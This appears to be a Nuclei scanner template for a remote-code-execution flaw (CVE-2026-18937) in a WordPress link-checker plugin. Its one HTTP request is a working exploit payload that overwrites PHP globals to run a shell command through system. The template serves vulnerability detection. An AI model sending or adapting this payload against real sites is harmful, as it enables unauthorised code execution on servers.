The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.
id: CVE-2026-18937
info:
name: WordPress Broken Link Checker < 2.4.12 - Remote Code Execution
author: anirbala98
severity: critical
description: |
The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables on the server when a classic (non-block) theme is active.
impact: |
Unauthenticated attackers can execute arbitrary code, leading to full remote code execution with web server privileges.
remediation: |
Upgrade to version 2.4.12 or later.
reference:
- https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
- https://nvd.nist.gov/vuln/detail/CVE-2026-18937
- https://wordpress.org/plugins/broken-link-checker/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2026-18937
epss-score: 0.01993
epss-percentile: 0.80823
cwe-id: CWE-94
metadata:
verified: true
max-request: 1
vendor: wpmu-dev
product: broken-link-checker
framework: wordpress
fofa-query: body="/wp-content/plugins/broken-link-checker/"
tags: cve,cve2026,wordpress,wp-plugin,rce,broken-link-checker,unauth
http:
- raw:
- |
GET /?_wp_sidebars_widgets[sidebar-1][]=x&wp_registered_widgets[x][callback]=array_filter&wp_registered_widgets[x][params][0]=system&wp_registered_sidebars[sidebar-1][cmd]=id HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(content_type, "text/html")'
- 'contains_all(body, "uid=", "gid=")'
condition: and
# digest: 490a00463044022044d60898d0196609e6947bcc6cefd03d5401e4d4df5d16ee35f334f7a6df3254022049b9329a31d85f660a1ca0d6f8586a84074cc8566c51fd8d32e1c10062bfc187:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.